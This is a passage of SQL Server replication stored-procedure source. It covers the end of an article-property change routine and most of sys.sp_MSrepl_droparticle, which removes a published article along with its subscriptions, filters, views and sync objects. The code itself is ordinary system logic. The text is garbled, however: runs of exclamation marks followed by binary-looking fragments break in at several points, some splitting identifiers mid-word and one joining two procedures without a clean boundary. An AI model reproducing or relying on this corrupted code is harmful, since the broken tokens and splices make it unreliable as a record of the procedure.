    -- Check to see if the range is too big.
    -- Must be down after the change. If the check fails, the transaction
    -- will be rolled back.
    if  LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ('pub_identity_range', 'identity_range')
    begin
        declare @pub_identity_range bigint, @identity_range int
        select @pub_identity_range = pub_range, 
            @identity_range = range from MSpub_identity_range where
            objid = @objid 

        declare @xtype int, @xprec int, @max_range bigint
        select @xtype=system_type_id, @xprec=precision from sys.columns where object_id=@objid and 
            is_identity=1
        select @max_range =
                case @xtype when 52 then power((convert(bigint,2)), 8*2-1) - 1 --smallint 
                    when 48 then power((convert(bigint,2)), 8-1) - 1         --tinyint
                    when 56 then power((convert(bigint,2)), 8*4-1) - 1       --int
                    when 127 then power((convert(bigint,2)), 62) - 1 + power((convert(bigint,2)), 62)   --bigint
                    when 108 then power((convert(bigint,10)), @xprec)    --numeric
                    when 106 then power((convert(bigint,10)), @xprec)    --decimal
                else
                    power((convert(bigint,2)), 62) + power((convert(bigint,2)), 62) - 1  -- defaulted to bigint
                end
    
        declare @source_table nvarchar (517)
        exec @retcode = sys.sp_MSget_qualified_name @objid, @source_table output
        if @retcode <> 0 or @@error <> 0
            goto  UNDO
        if @pub_identity_range * 2 + @identity_range > (@max_range - ISNULL(IDENT_CURRENT(@source_table), IDENT_SEED(@source_table)))
            begin
                raiserror(21290, 16, -1)
                goto  UNDO
            end
    end

    if  LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'threshold'
    begin
        if not exists (select * from sysarticleupdates where artid = @artid and
            identity_support = 1)
        begin
            raiserror(21235, 16, -1, @property)
            goto  UNDO
        end

        declare @threshold bigint
        select @threshold = convert(int, @value) 
        if @threshold < 1 or @threshold > 100
        begin
            raiserror(21233, 16, -1)
            goto  UNDO
        end

        update MSpub_identity_range set
            threshold = @threshold
            where objid=@objid
        if @@error < 0
            goto  UNDO
        -- Distributor side data will be changed later by sp_MSchange_article.
    end

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) = 'fire_triggers_on_snapshot'
    begin
        select @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
        if @value not in ('true', 'false')
        begin
            raiserror(14137, 16, -1)
            goto UNDO
        end
        
        if @value = 'true'
            select @fire_triggers_on_snapshot = 1
        else
            select @fire_triggers_on_snapshot = 0

        update dbo.sysarticles
           set fire_triggers_on_snapshot = @fire_triggers_on_snapshot
         where artid = @artid
           and pubid = @pubid
        if @@error <> 0 
            goto UNDO

    end

    -------------------------------------------------------------------------
    -- some info on articles is also stored at the distributor.
    -- update info at distributor if these properties change
    -------------------------------------------------------------------------

    if LOWER(@property collate SQL_Latin1_General_CP1_CS_AS) in ( N'description', N'dest_table', N'dest_object', 
    		'identity_range', 'threshold', 'destination_owner', 'dest_owner' )
    BEGIN
        /*
        ** Get distribution server information for remote RPC call.
        */
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher		= @publisher,
															@rpcsrvname		= @distributor OUTPUT,
															@distribdb		= @distribdb OUTPUT

        IF @@ERROR <> 0 or @retcode <> 0
        BEGIN
            RAISERROR (14071, 16, -1)
            GOTO UNDO
        END

        SELECT @dbname =  DB_NAME()

        SELECT	@distproc =	QUOTENAME(RTRIM(@distributor)) + '.' +
        					QUOTENAME(@distribdb) + '.dbo.sp_MSchange_article'

        EXECUTE	@retcode =	@distproc	@publisher		= @srvname,
										@publisher_db	= @dbname,
										@publication	= @publication,
										@article		= @article,
										@article_id		= @artid,
										@property		= @property,
										@value			= @value


        IF @@ERROR <> 0 OR @retcode <> 0
		GOTO UNDO
    END

    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@article					= @article,
						@need_new_snapshot			= @need_new_snapshot,
						@need_reinit_subscription	= @need_reinit_subscription,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        GOTO UNDO

    if @backward_comp_level > 10
        update syspublications set backward_comp_level = @backward_comp_level where pubid = @pubid

    IF @increment_min_autonosync_lsn = 1
    BEGIN
        EXEC @retcode = sys.sp_MSincrementpublicationminautonosynclsn 
                @publication = @publication
        IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
    END
    
   	-- If the change impacts how the heterogeneous log reader processes change commands
	--!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cGpv[
--
-- Name:    
--          sp_MSrepl_droparticle
--          
-- Description: 
--          Internal proc for executing the logic of drop article.  Executed in
--			the context of the publisher even if it is the distributor for HREPL.
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_MSrepl_droparticle
(
    @publication				sysname,
    @article					sysname,
    @ignore_distributor			bit,
    @force_invalidate_snapshot	bit,
    @publisher					sysname,
    @from_drop_publication		bit,
    @publisher_type				sysname,
    @internal					bit = 0
) 
AS
BEGIN
    /*
    ** Declarations.
    */

    DECLARE @cmd nvarchar(4000)
    DECLARE @objid int
    DECLARE @qualname nvarchar(517)
    DECLARE @pubid int
    DECLARE @publish_bit smallint
    DECLARE @retcode int
    DECLARE @filter_name nvarchar(517)
    DECLARE @view_name nvarchar(517)
    DECLARE @type tinyint
    DECLARE @procnum smallint
    DECLARE @virtual_id smallint
    DECLARE @push tinyint
    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (255)

    -- SyncTran
    DECLARE @allow_sync_tran_id bit
    DECLARE @allow_queued_tran_id bit
    declare @artid int, @insproc_id int, @updproc_id int, @delproc_id int, @updtrig_id int
    declare @filter_id int
    declare @view_id int
    declare @tran_conflict_tabid int
    declare @tran_conflict_procid int

    -- these are not use but required by sys.sp_IHgetPublisherInfo
    declare @autogen_sync_procs_id bit
    declare @sync_method tinyint
    declare @allow_sync_tran bit
    declare @allow_queued_tran bit
    declare @allow_dts bit
    declare @repl_freq tinyint
    DECLARE @publisher_db sysname
    DECLARE @tablename sysname
    DECLARE @owner sysname                                       -- for recursive call to sp_droparticle we need to original @publisher
    DECLARE @publisher_id int
    DECLARE @table_id int   
    DECLARE @hrepl bit
    DECLARE @options int
    				,@publishingservername sysname

    DECLARE @distributortimestamp datetime

	DECLARE @OPT_ENABLED_FOR_P2P int	
			,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int
	SELECT @OPT_ENABLED_FOR_P2P = 0x1
			,@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = 0x8
	
    SET NOCOUNT ON
    /*
    ** Initializations.
    */

    SELECT @virtual_id = -1     /* Const: virtual subscriber id */
    SELECT @publish_bit = 1
	SELECT @hrepl = 1

    /*
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @publication.
    ** The @publication name must conform to the rules for identifiers.
    */

    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_droparticle')
        RETURN (1)
    END

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

    /*
    ** Parameter Check: @ignore_distributor
    ** HREPL: Not supported
    */

    IF NOT @publisher_type = N'MSSQLSERVER' and @ignore_distributor <> 0
    BEGIN
        RAISERROR (21608, 16, -1)
        RETURN (1)
    END

    /*
    ** Get the @pubid.
    */

    -- SyncTran
    --SELECT @pubid = pubid FROM syspublications WHERE name = @publication
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        SELECT	@pubid					= pubid,
        		@allow_sync_tran_id		= allow_sync_tran,
				@allow_queued_tran_id	= allow_queued_tran,
				@options				= options
        FROM	syspublications
        WHERE	name = @publication
    END
    ELSE
    BEGIN
        EXEC @retcode =	sys.sp_IHgetPublicationInfo
						@publisher				= @publisher,
						@publication			= @publication,
						@publication_id			= @pubid                    OUTPUT,
						@autogen_sync_procs_id	= @autogen_sync_procs_id    OUTPUT,
						@sync_method			= @sync_method              OUTPUT,
						@allow_sync_tran		= @allow_sync_tran          OUTPUT,
						@allow_queued_tran		= @allow_queued_tran        OUTPUT,
						@allow_dts				= @allow_dts                OUTPUT,
						@repl_freq				= @repl_freq                OUTPUT

        IF @@ERROR <> 0 AND @retcode <> 0
            RETURN (1)
        
        IF @pubid IS NULL
        BEGIN
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        END
    END

    /*
    ** Parameter Check:  @article.
    ** If the @article is 'all', drop all articles for the specified
    ** publication (@publication).
    */

    IF LOWER(@article) = 'all'
       BEGIN
            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
            
				DECLARE hCart  CURSOR LOCAL FAST_FORWARD FOR 
					SELECT DISTINCT  name, artid  
					FROM sysextendedarticlesview 
					WHERE pubid = @pubid
                    ORDER BY artid DESC
			END
			ELSE
			BEGIN
            
				DECLARE hCart  CURSOR LOCAL FAST_FORWARD FOR 
					SELECT DISTINCT  article, 0
					FROM IHextendedArticleView
					WHERE publication_id = @pubid
			END	
  
            -- If drop all articles, set force flag to true
            select @force_invalidate_snapshot = 1

            OPEN hCart

            FETCH hCart INTO @article, @artid

            WHILE (@@fetch_status <> -1)
                BEGIN
                    EXEC @retcode = sys.sp_MSrepl_droparticle	@publication				= @publication, 
																@article					= @article,
																@ignore_distributor			= @ignore_distributor,
																@force_invalidate_snapshot	= @force_invalidate_snapshot,
																@publisher					= @publisher,
																@from_drop_publication		= @from_drop_publication,
																@publisher_type				= @publisher_type,
																@internal					= 1

					IF (@retcode > 1)
					BEGIN
						-- HREPL failure - ignore until the end
						SET @hrepl = 0
					END
					ELSE IF @@ERROR <> 0 or @retcode <> 0
                    BEGIN
                   		RETURN (1)
                    END

                    FETCH hCart INTO @article, @artid
                END

            CLOSE hCart
            DEALLOCATE hCart

            GOTO PROCEXIT
        END

    /*
    ** Parameter Check: @article.
    ** The @article name must conform to the rules for identifiers.
    */

    IF @article IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_droparticle')
            RETURN (1)
        END

    /*
    EXECUTE @retcode = sys.sp_validname @article

    IF @retcode <> 0
    RETURN (1)
    */

    /*
    ** Ascertain the existence of the article.
    */

	IF NOT EXISTS (SELECT *
				 FROM sysextendedarticlesview
				WHERE name = @article
				  AND pubid = @pubid)
	BEGIN
		RAISERROR (20027, 11, -1, @article)
		RETURN (1)
    END 

    /*
    ** Check to make sure that there are no 'real' subscriptions on the article.
    */

    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        IF EXISTS (SELECT *
                 FROM syssubscriptions, sysextendedarticlesview
                WHERE sysextendedarticlesview.name = @article
                  AND sysextendedarticlesview.pubid = @pubid
                  AND sysextendedarticlesview.artid = syssubscriptions.artid
                  AND syssubscriptions.srvid <> @virtual_id)
        BEGIN
            RAISERROR (14046, 16, -1)
            RETURN (1)
        END
    END
    !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cGDLv[-- 
    -- If SyncTran/QueuedTran enabled
    -- retrieve info from sysarticle updates
    --
    if (@allow_sync_tran_id = 1 or @allow_queued_tran_id = 1)
    begin
        -- HetPubs do not support updatable subscribers, these should always be 0
        IF @publisher_type = N'MSSQLSERVER'
        BEGIN
            select @artid = artid from sysarticles where name = @article and pubid = @pubid
            select @insproc_id = sync_ins_proc, @updproc_id = sync_upd_proc, @delproc_id = sync_del_proc,
                @updtrig_id = sync_upd_trig,
                @tran_conflict_tabid = conflict_tableid,
                @tran_conflict_procid = ins_conflict_proc
            from sysarticleupdates
            where artid = @artid and pubid = @pubid 
        END
        ELSE
        BEGIN
            raiserror(21609, 16, -1)
            return (1)
        END
    end
    -- end SyncTran

    /*
    ** Retrieve the object id of the underlying object,
    ** article id, and article type. Note that the 
    ** subsequent code relies on the values of the variables in
    ** the select list. Please do not remove any variable from 
    ** the seletc list unless you make sure that all the subsequent
    ** references to the variable are accounted for.  
    */
 
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN 
        SELECT @artid = artid, @objid = objid, @type = type
          FROM sysextendedarticlesview
         WHERE name = @article
           AND pubid = @pubid
    END
    ELSE
    BEGIN
        SELECT @artid = a.article_id,
			   @table_id = a.table_id,
			   @type = a.type,
			   @objid = a.objid,
			   @publisher_id = a.publisher_id,
			   @tablename = m.source_object,
			   @owner = m.source_owner
		FROM   MSarticles m
        JOIN   IHarticles a
        ON     m.article_id = a.article_id
          AND  a.publication_id = m.publication_id
        WHERE  a.name = @article
        AND    a.publication_id = @pubid
    END

    begin tran
    save TRAN droparticle

        -- @ignore_distributor is set to 1 when removing replication forcefully. In that
        -- case, no need to check or reinit
        if @ignore_distributor = 0
        begin
            -- Have to call this stored procedure to invalidate existing snapshot
            -- if there are any. immediate_sync_ready bit would be changed or error will be railsed.
            -- for Sql publishers execute on publisher db, for het pubs go to distribution db
            EXECUTE @retcode  = sys.sp_MSreinit_article
								@publication				= @publication, 
								@need_new_snapshot			= 1,
								@force_invalidate_snapshot	= @force_invalidate_snapshot,
								@from_drop_publication		= @from_drop_publication,
								@publisher					= @publisher,
								@publisher_type				= @publisher_type

            IF @@ERROR <> 0 OR @retcode <> 0
                GOTO UNDO
        end

        -- Drop virtual subscription first for @immediate_sync publications
		IF EXISTS
			(				
				SELECT *
					FROM syspublications sysp
						JOIN sysextendedarticlesview sysea
							on sysp.pubid = sysea.pubid
						JOIN syssubscriptions syss
							on sysea.artid = syss.artid
					WHERE sysp.name = @publication
						AND sysp.pubid = @pubid
						AND sysp.immediate_sync = 1
						AND syss.srvid = -1
			)
		BEGIN
			EXECUTE @retcode =	sys.sp_dropsubscription 
								@publication		= @publication, 
								@article			= @article,
								@subscriber			= NULL,
								@ignore_distributor	= @ignore_distributor,
								@reserved			= 'internal',
								@publisher			= @publisher

			IF @@ERROR <> 0 OR @retcode <> 0
			BEGIN
				IF @@trancount > 0
				BEGIN
					ROLLBACK TRAN droparticle
					COMMIT TRAN
				END
				RETURN (1)
			END
		END

        /* Drop article at the distributor side */
        IF NOT @publisher_type = N'MSSQLSERVER'
        BEGIN

            SELECT @publisher_db = publisher_db from dbo.MSpublications
				WHERE @publication = publication
				AND   @publisher_id = publisher_id

            EXEC @retcode = sys.sp_IHdroparticle
							@publisher     = @publisher,
							@publisher_db  = @publisher_db,
							@publication   = @publication,
							@article       = @article

			IF @@ERROR <> 0 OR @retcode <> 0
			BEGIN
				IF @@trancount > 0
				BEGIN
					ROLLBACK TRAN droparticle
					COMMIT TRAN
				END	 
				RETURN (1)
			END

        END

        /*
        ** if @ignore_distributor = 1, we are in bruteforce cleanup mode, don't do RPC.
        */
        if @ignore_distributor = 0
        begin
        
		if @publisher_type = N'MSSQLSERVER'
		BEGIN
			EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
				@distribdb   = @distribdb OUTPUT
			IF @@ERROR <> 0 or @retcode <> 0
			BEGIN
				if @@trancount > 0
					ROLLBACK TRAN 
				RETURN (1)
			END

			SELECT @publisher_db =  DB_NAME()
        
			SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(@distribdb) + 
				'.dbo.sp_MSdrop_article'
				,@publishingservername = publishingservername()
			
			EXECUTE @retcode = @distproc
				@publisher = @publishingservername,
				@publisher_db = @publisher_db,
				@publication = @publication,
				@article = @article

			IF @@ERROR <> 0 OR @retcode <> 0
			BEGIN
				if @@trancount > 0
					ROLLBACK TRAN 
				RETURN (1)
			END
		END
		ELSE
		BEGIN
			EXECUTE @retcode = dbo.sp_MSdrop_article
				@publisher = @publisher,
				@publisher_db = @publisher_db,
				@publication = @publication,
				@article = @article

			IF @@ERROR <> 0 OR @retcode <> 0
			BEGIN
				if @@trancount > 0
					ROLLBACK TRAN 
				RETURN (1)
			END
		END
				
        end

        IF @type IN (0x20, 0x40, 0x60, 0xA0, 0x80)
        BEGIN
            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
                -- Handle the schema only articles a little bit differently from 
                -- other articles as they are simpler objects. 

                -- Note that we have already obtained the article id earlier 
                -- so we can use that to delete the corresponding record
                -- in sysschemaarticles
            
                DELETE sysschemaarticles WHERE artid = @artid and pubid = @pubid

                -- If the object is no longer published as a schema only
                -- article, unmark its published for schema only bit (512) in 
                -- sys.objects/replinfo so that it can be dropped by the user.
                -- Note that we need to check sysmergeschemaarticles too.


                -- Note that we have obtained the object id for the undelying 
                -- object of this article already.

                IF NOT EXISTS (SELECT * 
                                 FROM sysschemaarticles 
                                WHERE objid = @objid)
                BEGIN

                    EXEC sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
                    IF NOT (@qualname IS NULL)
                    BEGIN
                        EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
                        IF @@ERROR = 0
                        BEGIN
                            IF NOT EXISTS (SELECT * 
                                             FROM sys.objects 
                                            WHERE name = 'sysmergeschemaarticles')
                            BEGIN
                                EXEC %%Object(ID = @objid).SetSchemaPublished(Value = 0)
                            END
                            ELSE IF NOT EXISTS (SELECT * 
                                                  FROM sysmergeschemaarticles
                                                 WHERE objid = @objid)
                            BEGIN
                                EXEC %%Object(ID = @objid).SetSchemaPu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cG'Yfv[blished(Value = 0)
                            END
                        END
                    END

                END  
            END
        END
        ELSE
        BEGIN
        
            /*
            **  Delete article from sysarticles and clear publish bit in
            **  sys.objects.
            */


            /*
            ** If this article is the only one that references this object,
            ** then we can safely turn off the publish bit in sys.objects.
            */

            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
                IF NOT EXISTS (SELECT *
                             FROM sysarticles
                            WHERE objid = @objid
                              AND NOT (name = @article AND pubid = @pubid))
                BEGIN

				declare @cdc_tracked_tables table (object_id int)
				
				if object_id('cdc.change_tables') is not null
				begin
					insert @cdc_tracked_tables select distinct source_object_id from cdc.change_tables
				end
	
                    DECLARE @obj_tmp int
                    SELECT @obj_tmp = objid FROM sysarticles
                        WHERE name = @article AND pubid =  @pubid
                    IF NOT (@obj_tmp IS NULL)
                    BEGIN
                        EXEC sys.sp_MSget_qualified_name @obj_tmp, @qualname OUTPUT
                        IF NOT (@qualname IS NULL)
                        BEGIN
                            EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
                            IF @@ERROR = 0
                                EXEC %%Object(ID = @obj_tmp).SetPublished(Value = 0)
                            
                            -- Clear the "Replicated" bits if the published
                            -- object that does not have any active/initiated 
                            -- subscriptions and is not published in a 
                            -- publication that allows is enabled for autonosyncs
                            IF  -- No active subscriptions
                                NOT EXISTS (SELECT * FROM dbo.syssubscriptions WHERE 
                                           artid in (SELECT sa.artid 
                                                       FROM dbo.sysextendedarticlesview sa
                                                      INNER JOIN dbo.syspublications sp
                                                         ON sa.pubid = sp.pubid
                                                      WHERE NOT (sa.name = @article AND sa.pubid = @pubid) -- Don't consider the current article
                                                        AND sa.objid = @obj_tmp
                                                        AND sp.repl_freq = 0)
                                               AND status in (2,3)) AND
                                -- Not published in a allow is enabled for autonosyncs publication
                                NOT EXISTS (SELECT * 
                                              FROM dbo.sysextendedarticlesview sa
                                            INNER JOIN dbo.syspublications sp
                                                ON sa.pubid = sp.pubid
                                             WHERE NOT (sa.name = @article AND sa.pubid = @pubid) -- Don't consdier the current article
                                               AND sa.objid = @obj_tmp
                                               AND sp.allow_initialize_from_backup = 1)
                                AND NOT EXISTS (SELECT * 
                                              FROM @cdc_tracked_tables where object_id = @obj_tmp)
                            BEGIN
                                -- Call different system object methods depending object type
                                IF OBJECTPROPERTY(@obj_tmp, 'IsProcedure') = 1
                                BEGIN
                                    EXEC %%Module(ID = @obj_tmp).SetProcReplicated(Value = 0)
                                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
                                    EXEC %%Module(ID = @obj_tmp).SetProcReplSerialOnly(Value = 0)
                                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END                                    
                                END                                         
                                ELSE
                                BEGIN
                                    EXEC %%Relation(ID = @obj_tmp).SetReplicated(Value = 0)
                                    IF @@ERROR <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
                                END
                            END

                        END
                    END
                    
                /*
                EXEC (@cmd)

                IF @@ERROR <> 0
                    BEGIN
                        if @@trancount > 0
                            ROLLBACK TRAN
                        RAISERROR (14047, 16, -1, @article)
                        RETURN (1)
                    END
                */

                END

				-- A table can only exist in one P2P publication
				-- so in the case that p2p conflict detection is enabled,
				-- we should remove the hidden column and drop the conflict table
				IF EXISTS(select * from syspublications 
						where name = @publication and (options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION)
				BEGIN				
					--set the table persistent property replpeerid to 0, the table was already x-locked
					--hidden column $p2pversion is removed internally
					EXEC %%Relation(ID = @objid).SetReplPeerId(Value = 0)
					if @@ERROR <> 0 
					begin
						select @retcode = 1
						goto UNDO
					end

					--drop the conflict table
					declare @conflicttablename nvarchar(1000)
								exec sp_MSgetpeerconflictname @prefix = N'conflict', @tabid = @obj_tmp, @peerconflictname = @conflicttablename output
								select @conflicttablename = N'[dbo].' + QUOTENAME(@conflicttablename) 
					if(object_id(@conflicttablename, N'U') is not null)
					begin
						select @cmd = N'drop table ' + @conflicttablename
						exec (@cmd)
						if @@ERROR <> 0 
						begin
							select @retcode = 1
							goto UNDO
						end
					end
				END --in case the p2p conflict detection is enabled

                /*
                ** Drop article view if not logbased manualview (type = 5)
                */
                IF (@type & 5) = 1
                BEGIN    
                    SELECT @view_id = so.object_id
                      FROM sysarticles as sa join sys.objects as so
                      ON sa.sync_objid = so.object_id
                     WHERE sa.name = @article
                       AND sa.pubid = @pubid
                       AND so.type = 'V'
                    exec sys.sp_MSget_qualified_name @view_id, @view_name OUTPUT

                END

                /*
                ** Drop article filter if not logbased manualfilter (type = 3)
                */
                IF (@type & 3) = 1
                BEGIN    

						SELECT @filter_id = so.object_id
						FROM sysarticles as sa join sys.objects as so
						ON sa.filter = so.object_id
						WHERE sa.name = @article
						AND pubid = @pubid
						AND so.type = 'RF'

						exec sys.sp_MSget_qualified_name @filter_id, @filter_name OUTPUT


						--if this filter is not used by other article, we should clear filter parent and has_replication_filter bit
						--otherwise no one does this.
						--note it is highly unlikely for multiple article to share the same filter proc, so the 'not exists' check here is just playing safe.
						if ((@filter_id is not null) and
							not exists (select * from sysarticles where (name <> @article !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(cGv[or pubid <> @pubid) and filter = @filter_id))
						begin
							if @filter_name is not null
								EXEC sys.sp_MSsetfilterparent @filter_name, 0

							-- Clear base table dependency on the filter
							EXEC sys.sp_MSsetfilteredstatus @objid
						end
                END


                IF( @type & 3 ) = 3
                BEGIN
                    -- This is a manual filter, we should not drop it automatically
                    -- since it is not created by us.
                    -- Set @filter_id to null so the object will not be dropped later.
                    select @filter_name = null
 
                END


                /*
                ** If this is a table based article, Drop all article columns.
                ** This is done to force all Text\Image column status to be updated.
                */

                IF (@type & 8) != 8
                BEGIN

                    -- propagate @ignore_distributor to sp_articlecolumn to allow forced cleanup
                    EXECUTE @retcode = sys.sp_articlecolumn
										@publication,
										@article,
										@operation = 'drop',
										@ignore_distributor = @ignore_distributor,
										-- synctran
										@refresh_synctran_procs = 0,
										@force_invalidate_snapshot = @force_invalidate_snapshot
										, @internal = 1
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        if @@trancount > 0
                        begin
                            ROLLBACK TRAN droparticle
                            commit tran
                        end
                        RETURN (1)
                    END
                END
            END

            /*
            ** Remove the row from sysarticles.
            */
            IF @publisher_type = N'MSSQLSERVER'
            BEGIN
                DELETE
                  FROM sysarticles
                 WHERE name = @article
                   AND pubid = @pubid

                IF @@ERROR <> 0
                BEGIN
                    if @@trancount > 0
                        ROLLBACK TRAN 
                    RAISERROR (14047, 16, -1, @article)
                    RETURN (1)
                END
            END
            ELSE
            BEGIN
				DELETE FROM dbo.IHarticles
				WHERE name = @article
				AND publication_id = @pubid
				
				IF @@ERROR <> 0
				BEGIN
					RAISERROR (14047, 16, -1, @article)
                    RETURN (1)
                END
            END

            -- SyncTran
            /*
            ** Drop associated sync tran procs and entries in sysarticle updates
            ** HetPubs do not support updatable subscribers so these willl alwasy be 0
            */
            if (@allow_sync_tran_id = 1 or @allow_queued_tran_id = 1)
            begin
                exec @retcode = sys.sp_MSdrop_object 
                    @object_id = @insproc_id
                if @retcode <> 0 or @@error <> 0
                    goto  UNDO

                exec @retcode = sys.sp_MSdrop_object 
                    @object_id = @updproc_id
                if @retcode <> 0 or @@error <> 0
                    goto  UNDO

                exec @retcode = sys.sp_MSdrop_object 
                    @object_id = @delproc_id
                if @retcode <> 0 or @@error <> 0
                    goto  UNDO
            
                if @updtrig_id is not null
                begin
                    exec @retcode = sys.sp_MSdrop_object 
                        @object_id = @updtrig_id
                    if @retcode <> 0 or @@error <> 0
                        goto  UNDO
                end

                -- drop conflict tables as necessary
                if @tran_conflict_tabid is not null
                begin
                    exec @retcode = sys.sp_MSdrop_object 
                        @object_id = @tran_conflict_tabid
                    if @retcode <> 0 or @@error <> 0
                        goto  UNDO
                end

                if @tran_conflict_procid is not null
                begin
                    exec @retcode = sys.sp_MSdrop_object 
                        @object_id = @tran_conflict_procid
                    if @retcode <> 0 or @@error <> 0
                        goto  UNDO
                end

                delete from sysarticleupdates where artid = @artid and pubid = @pubid
                if @@ERROR <> 0 
                begin
                    if @@trancount > 0
                        ROLLBACK TRAN
                    RETURN (1)

                end

                -- Cleanup MSpub_identity_range if needed.
                if not exists (select * from sysarticles where objid = @objid)
                begin
                    if exists (select * from MSpub_identity_range where objid = @objid)
                    begin
                        -- Drop the identity range constraits.
                        -- RESEED and change constraint
                        exec @retcode = sys.sp_MSreseed
                            @objid =  @objid,
                            -- next_seed and range can be anything.
                            @next_seed = 10,
                            @range = 10,
                            @is_publisher = -1,
                            @check_only = 1,
                            @drop_only = 1
                        IF @retcode <> 0 or @@ERROR <> 0 
                            GOTO UNDO

                        delete MSpub_identity_range where objid = @objid
                        if @@ERROR <> 0 
                            GOTO UNDO
                    end
                end
            -- end SyncTran
            end
    end

	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		-- if this publication is p2p then we will need to attempt to
		-- detect invalid configurations at the peer node to avoid
		-- disjoint article sets. NOTE that the proc will also help
		-- delete MSsubscription_articles meta-data at the subscriber node
		IF (@options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P
		BEGIN
			DECLARE @min_artid int

			-- since the article is dropped we need the min
			-- article id to post the command... if none left
			-- then we will skip over the post completely...
			SELECT @min_artid = MIN(artid)
				FROM sysextendedarticlesview
				WHERE pubid = @pubid

			IF @min_artid IS NOT NULL
			BEGIN
				SELECT @cmd = N'if (@@microsoftversion >= 0x09000000)' + 
						  		N' begin' +
									N' exec sys.sp_MSdetectinvalidpeersubscription @publisher=N' + QUOTENAME(publishingservername(), N'''')  + 
																				N',@publisher_db=N' + QUOTENAME(@publisher_db, N'''')  + 
																				N',@publication=N' + QUOTENAME(@publication, N'''')  + 
																				N',@article=N' + QUOTENAME(@article, N'''')  +
																				N',@dest_table=N' + QUOTENAME(OBJECT_NAME(@objid), N'''')  +
																				N',@dest_owner=N' + QUOTENAME(SCHEMA_NAME(OBJECTPROPERTY(@objid,'SchemaId')), N'''')  +
																				N',@type=''DEL''' +
						  		N' end'

				EXEC @retcode = sys.sp_replpostcmd 0, @pubid, @min_artid, 1, @cmd
				IF @@ERROR <> 0 OR @retcode <> 0
					GOTO UNDO
			END
		END
	END
	
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
        -- Update distributor timestamp to reflect change in meta data	
        SET @distributortimestamp = GETDATE()
        UPDATE	dbo.IHpublishers
        SET	flush_request_time = @distributortimestamp
        WHERE	publisher_id = @publisher_id
        
        IF @@error <> 0
        BEGIN
    		GOTO UNDO
        END	
    END  

    COMMIT TRAN
    
    -- Remove the trigger and delete the tracking table at the publisher if the table is not
    -- associated with any published articles. 
    -- The SP will check for other publications using the article before de!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<-zw1mq[leting it
    IF @publisher_type LIKE N'ORACLE%'
    BEGIN
        DECLARE @article_view nvarchar(256)

        EXEC @article_view = sys.fn_IHview_name @artid,	@table_id

        IF @@error <> 0
        BEGIN
			RAISERROR (21777, 11, -1, @article)
			GOTO UNDO
        END

        EXEC @retcode = sys.sp_ORAdroparticle	@publisher,
												@artid,
												@publisher_id,
												@table_id,
												@owner,
												@tablename,
												@article_view,
												@distributortimestamp

		IF @@ERROR <> 0 OR @retcode <> 0
		BEGIN
			-- Report that the HREPL info at the publisher was not dropped
			-- but do not prevent article drop from finishing.
			SET @hrepl = 0
			SET @retcode = 0
		END
    END     

    IF @view_name IS NOT NULL
    BEGIN
        -- @view_name is already quoted.
        SELECT @cmd = 'drop view ' + @view_name
        exec (@cmd)
    END

    IF @filter_name IS NOT NULL
    BEGIN
        -- @filter_name is already quoted.
